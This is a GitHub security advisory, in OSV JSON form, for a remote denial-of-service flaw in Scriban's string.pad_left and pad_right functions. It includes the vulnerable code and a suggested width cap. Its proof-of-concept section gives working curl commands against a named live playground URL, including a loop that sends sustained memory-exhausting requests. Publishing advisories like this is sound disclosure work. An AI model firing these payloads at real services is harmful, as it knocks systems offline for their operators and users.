GHSA-v66j-x4hw-fv9g: Scriban Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v66j-x4hw-fv9g",
  "modified" : "2026-07-06T13:08:56Z",
  "published" : "2026-03-24T22:13:37Z",
  "aliases" : [ ],
  "summary" : "Scriban: Uncontrolled Memory Allocation via string.pad_left/pad_right Allows Remote Denial of Service",
  "details" : "## Summary\n\nThe built-in `string.pad_left` and `string.pad_right` template functions in Scriban perform no validation on the `width` parameter, allowing a template expression to allocate arbitrarily large strings in a single call. When Scriban is exposed to untrusted template input — as in the official Scriban.AppService playground deployed on Azure — an unauthenticated attacker can trigger ~1GB memory allocations with a 39-byte payload, crashing the service via `OutOfMemoryException`.\n\n## Details\n\n`StringFunctions.PadLeft` and `StringFunctions.PadRight` (`src/Scriban/Functions/StringFunctions.cs:1181-1203`) directly delegate to .NET's `String.PadLeft(int)` / `String.PadRight(int)` with no bounds checking:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs:1181-1183\npublic static string PadLeft(string text, int width)\n{\n    return (text ?? string.Empty).PadLeft(width);\n}\n\n// src/Scriban/Functions/StringFunctions.cs:1200-1202\npublic static string PadRight(string text, int width)\n{\n    return (text ?? string.Empty).PadRight(width);\n}\n```\n\nThe `TemplateContext.LimitToString` property (default 1MB, set at `TemplateContext.cs:147`) does **not** prevent the allocation. This limit is only checked during `ObjectToString()` conversion (`TemplateContext.Helpers.cs:101-103`), which runs *after* the string has been fully allocated by `PadLeft`/`PadRight`. The dangerous allocation is the return value of a built-in function — it occurs before output rendering.\n\nThe Scriban.AppService playground (`src/Scriban.AppService/Program.cs:63-140`) exposes `POST /api/render` with:\n- No authentication\n- Template size limit of 1KB (line 71) — the payload fits in 39 bytes\n- A 2-second timeout via `CancellationTokenSource` (line 118) — but this only cancels the `await Task.Run(...)`, not the running `template.Render()` call (line 122). The BCL `PadLeft` allocation completes atomically before the cancellation can take effect.\n- Rate limiting of 30 requests/minute (line 25)\n\n## PoC\n\nSingle request to crash or degrade the AppService:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}'\n```\n\nThis 39-byte template causes `PadLeft(500000000)` to attempt allocating a 500-million character string (~1GB in .NET's UTF-16 encoding).\n\n**Expected result:** The service returns an error or truncated output safely.\n\n**Actual result:** The .NET runtime attempts a ~1GB allocation. Depending on available memory, this either succeeds (consuming ~1GB until GC), or throws `OutOfMemoryException` crashing the process.\n\nSustained attack with rate limiting:\n\n```bash\n# 30 requests/minute × ~1GB each = ~30GB/minute of memory pressure\nfor i in $(seq 1 30); do\n  curl -s -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n    -H \"Content-Type: application/json\" \\\n    -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_left 500000000 }}\"}' &\ndone\nwait\n```\n\nThe `string.pad_right` variant works identically:\n\n```bash\ncurl -X POST https://scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net/api/render \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\": \"{{ \\u0027\\u0027 | string.pad_right 500000000 }}\"}'\n```\n\n## Impact\n\n- **Remote denial of service** against any application that renders untrusted Scriban templates, including the official Scriban playground at `scriban-a7bhepbxcrbkctgf.canadacentral-01.azurewebsites.net`.\n- An unauthenticated attacker can crash the hosting process via `OutOfMemoryException` with a single HTTP request.\n- With sustained requests at the rate limit (30/min), the attacker can maintain continuous memory pressure (~30GB/min), preventing service recovery.\n- The existing `LimitToString` and timeout mitigations do not prevent the intermediate memory allocation.\n\n## Recommended Fix\n\nAdd width validation in `StringFunctions.PadLeft` and `StringFunctions.PadRight` to cap the maximum allocation. A reasonable upper bound is the `LimitToString` value from the `TemplateContext`, or a fixed maximum if the context is not available:\n\n```csharp\n// src/Scriban/Functions/StringFunctions.cs\n\n// Option 1: Fixed reasonable maximum (simplest fix)\npublic static string PadLeft(string text, int width)\n{\n    if (width < 0) width = 0;\n    if (width > 1_048_576) width = 1_048_576; // 1MB cap\n    return (text ?? string.Empty).PadLeft(width);\n}\n\npublic static string PadRight(string text, int width)\n{\n    if (width < 0) width = 0;\n    if (width > 1_048_576) width = 1_048_576; // 1MB cap\n    return (text ?? string.Empty).PadRight(width);\n}\n```\n\nAlternatively, make the functions context-aware and use `LimitToString` as the cap, consistent with how other Scriban limits work. The AppService should also be updated to run template rendering in a memory-limited container or AppDomain to provide defense-in-depth.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Scriban"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "Scriban.Signed"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "7.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/scriban/scriban/security/advisories/GHSA-v66j-x4hw-fv9g"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/scriban/scriban"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-24T22:13:37Z",
    "nvd_published_at" : null
  }
}